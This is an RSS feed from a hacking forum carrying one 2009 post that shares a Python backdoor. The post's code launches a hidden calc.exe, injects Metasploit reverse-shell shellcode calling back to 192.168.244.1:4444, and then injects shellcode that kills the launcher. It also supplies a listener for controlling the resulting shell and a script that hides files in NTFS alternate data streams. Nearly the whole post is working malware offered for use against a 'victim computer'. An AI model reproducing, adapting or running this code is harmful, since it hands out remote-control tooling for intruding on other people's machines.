<?xml version="1.0" encoding="ISO-8859-1"?>

<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
	<channel>
		<title>Anarchist Cookbook - Programming</title>
		<link>http://www.anarchistcookbook.com/</link>
		<description>Got code?</description>
		<language>en</language>
		<lastBuildDate>Sat, 21 Nov 2009 18:54:40 GMT</lastBuildDate>
		<generator>vBulletin</generator>
		<ttl>60</ttl>
		<image>
			<url>http://www.anarchistcookbook.com/images/RoughStuff/misc/rss.jpg</url>
			<title>Anarchist Cookbook - Programming</title>
			<link>http://www.anarchistcookbook.com/</link>
		</image>
		<item>
			<title>Python dll injection</title>
			<link>http://www.anarchistcookbook.com/showthread.php?t=32649&amp;goto=newpost</link>
			<pubDate>Sun, 15 Nov 2009 15:57:01 GMT</pubDate>
			<description><![CDATA[My last thread caused some pretty heated argument, and apparently I upset some admins, so I'd like to try to make up for the disturbance by posting a...]]></description>
			<content:encoded><![CDATA[<div>My last thread caused some pretty heated argument, and apparently I upset some admins, so I'd like to try to make up for the disturbance by posting a simple Python script that will inject the calc.exe process to spawn a command shell on the victim computer. You could use anything you like to get to the shell, but I've included another script for that too. Enjoy!<br />
<br />
To start off, here is the backdoor:<br />
<br />
--------------------------------------------------------------------------<br />
import sys<br />
from ctypes import *<br />
from my_debugger_defines import *<br />
<br />
kernel32                = windll.kernel32<br />
<br />
PAGE_READWRITE     =     0x04<br />
PROCESS_ALL_ACCESS =     ( 0x000F0000 | 0x00100000 | 0xFFF )<br />
VIRTUAL_MEM        =     ( 0x1000 | 0x2000 )<br />
<br />
# This is the original executable<br />
path_to_exe             = &quot;C:\\calc.exe&quot;<br />
<br />
startupinfo             = STARTUPINFO()<br />
process_information     = PROCESS_INFORMATION()<br />
creation_flags          = CREATE_NEW_CONSOLE<br />
startupinfo.dwFlags     = 0x1<br />
startupinfo.wShowWindow = 0x0<br />
startupinfo.cb          = sizeof(startupinfo)<br />
<br />
# First things first, fire up that second process<br />
# and store it's PID so that we can do our injection<br />
kernel32.CreateProcessA(path_to_exe,<br />
                        None,<br />
                        None,<br />
                        None,<br />
                        None,<br />
                        creation_flags,<br />
                        None,<br />
                        None,<br />
                        byref(startupinfo),<br />
                        byref(process_information))<br />
<br />
pid = process_information.dwProcessId<br />
<br />
def inject( pid, data, parameter = 0 ):<br />
<br />
    # Get a handle to the process we are injecting into.<br />
    h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) )<br />
<br />
    if not h_process:<br />
<br />
        print &quot;[*] Couldn't acquire a handle to PID: %s&quot; % pid<br />
        sys.exit(0)<br />
<br />
    arg_address = kernel32.VirtualAllocEx( h_process, 0, len(data), VIRTUAL_MEM, PAGE_READWRITE)<br />
    written = c_int(0)<br />
    kernel32.WriteProcessMemory(h_process, arg_address, data, len(data), byref(written))<br />
<br />
    thread_id = c_ulong(0)<br />
<br />
    if not parameter:<br />
        start_address = arg_address         <br />
    else:<br />
        h_kernel32 = kernel32.GetModuleHandleA(&quot;kernel32.dll&quot;)<br />
        start_address  = kernel32.GetProcAddress(h_kernel32,&quot;LoadLibraryA&quot;)<br />
        parameter = arg_address<br />
<br />
<br />
    if not kernel32.CreateRemoteThread(h_process,None,0,start  _address,parameter,0,byref(thread_id)):<br />
<br />
        print &quot;[*] Failed to inject the DLL. Exiting.&quot;<br />
        sys.exit(0)<br />
<br />
    return True<br />
<br />
# Now we have to climb out of the process we are in<br />
# and code inject our new process to kill ourselves<br />
#/* win32_reverse -  EXITFUNC=thread LHOST=192.168.244.1 LPORT=4444 Size=287 Encoder=None <a href="http://metasploit.com" target="_blank">http://metasploit.com</a> */<br />
connect_back_shellcode = &quot;\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\  x24\x24\x8b\x45&quot; \<br />
&quot;\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\  x20\x01\xeb\x49&quot; \<br />
&quot;\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\  x07\xc1\xca\x0d&quot; \<br />
&quot;\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\  x24\x01\xeb\x66&quot; \<br />
&quot;\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\  x6c\x24\x1c\x61&quot; \<br />
&quot;\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\  x1c\xad\x8b\x40&quot; \<br />
&quot;\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\  x66\x68\x33\x32&quot; \<br />
&quot;\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\  x3b\x50\xff\xd6&quot; \<br />
&quot;\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\  xd0\x68\xd9\x09&quot; \<br />
&quot;\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\  x53\xff\xd0\x68&quot; \<br />
&quot;\xc0\xa8\xf4\x01\x66\x68\x11\x5c\x66\x53\x89\xe1\  x95\x68\xec\xf9&quot; \<br />
&quot;\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\  x6a\x64\x66\x68&quot; \<br />
&quot;\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\  xe2\x31\xc0\xf3&quot; \<br />
&quot;\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\  x38\xab\xab\xab&quot; \<br />
&quot;\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\  x52\x51\x51\x51&quot; \<br />
&quot;\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\  xce\x53\xff\xd6&quot; \<br />
&quot;\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\  x75\x04\xff\xd6&quot; \<br />
&quot;\xff\x77\xfc\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\  xd6\xff\xd0&quot;<br />
<br />
inject( pid, connect_back_shellcode )<br />
<br />
#/* win32_exec -  EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA <br />
#Size=159 Encoder=None <a href="http://metasploit.com" target="_blank">http://metasploit.com</a> */<br />
our_pid = str( kernel32.GetCurrentProcessId() )<br />
<br />
process_killer_shellcode = \<br />
&quot;\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\  x78\x01\xef\x8b&quot; \<br />
&quot;\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\  xee\x31\xc0\x99&quot; \<br />
&quot;\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\  x3b\x54\x24\x04&quot; \<br />
&quot;\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\  x5f\x1c\x01\xeb&quot; \<br />
&quot;\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\  x64\x8b\x40\x30&quot; \<br />
&quot;\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\  x68\x08\xeb\x09&quot; \<br />
&quot;\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\  x60\x56\x89\xf8&quot; \<br />
&quot;\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\  x8a\x0e\x57\xff&quot; \<br />
&quot;\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\  x74\x61\x73\x6b&quot; \<br />
&quot;\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\  x41\x41\x00&quot;<br />
<br />
padding       = 4 - ( len( our_pid ))<br />
replace_value = our_pid + ( &quot;\x00&quot; * padding )<br />
replace_string= &quot;\x41&quot; * 4<br />
process_killer_shellcode     = process_killer_shellcode.replace( replace_string, replace_value )<br />
<br />
# Pop the process killing shellcode in<br />
inject( our_pid, process_killer_shellcode )<br />
<br />
--------------------------------------------------------------------------<br />
<br />
Next, here is the code to connect to it. Change the IP and port numbers as needed!<br />
<br />
--------------------------------------------------------------------------<br />
<br />
import socket<br />
import sys<br />
<br />
host = &quot;YOUR IP HERE&quot;<br />
port = 4444<br />
<br />
server = socket.socket( socket.AF_INET, socket.SOCK_STREAM )<br />
<br />
server.bind( ( host, port ) )<br />
server.listen( 5 )<br />
<br />
print &quot;[*] Server bound to %s:%d&quot; % ( host , port )<br />
connected = False<br />
while 1:<br />
<br />
    #accept connections from outside<br />
    if not connected:<br />
        (client, address) = server.accept()<br />
        connected = True<br />
<br />
    print &quot;[*] Accepted Shell Connection&quot;<br />
    buffer = &quot;&quot;<br />
<br />
    while 1:<br />
        try:<br />
            recv_buffer = client.recv(4096)<br />
<br />
            print &quot;[*] Received: %s&quot; % recv_buffer<br />
            if not len(recv_buffer):<br />
                break<br />
            else:<br />
                buffer += recv_buffer<br />
        except:<br />
            break<br />
<br />
    # We've received everything, now it's time to send some input<br />
    command = raw_input(&quot;Enter Command&gt; &quot;)<br />
    client.sendall( command + &quot;\r\n\r\n&quot; )<br />
    print &quot;[*] Sent =&gt; %s&quot; % command<br />
<br />
--------------------------------------------------------------------------<br />
<br />
I'm also including a small Python script that can be used to hide files. It uses ADS to hide them.<br />
--------------------------------------------------------------------------<br />
import sys<br />
<br />
# Read in the DLL<br />
fd = open( sys.argv[1], &quot;rb&quot; )<br />
dll_contents = fd.read()<br />
fd.close()<br />
<br />
print &quot;[*] Filesize: %d&quot; % len( dll_contents )<br />
<br />
# Now write it out to the ADS<br />
fd = open( &quot;%s:%s&quot; % ( sys.argv[2], sys.argv[1] ), &quot;wb&quot; )<br />
fd.write( dll_contents )<br />
fd.close()<br />
--------------------------------------------------------------------------<br />
<br />
So there you go! Hope this can be useful for somebody. This script can be modified to use something other than calc.exe and it does support DLL injection, although this version doesn't use it.</div>

]]></content:encoded>
			<category domain="http://www.anarchistcookbook.com/forumdisplay.php?f=26">Programming</category>
			<dc:creator>ScratchFive</dc:creator>
			<guid isPermaLink="true">http://www.anarchistcookbook.com/showthread.php?t=32649</guid>
		</item>
	</channel>
</rss>
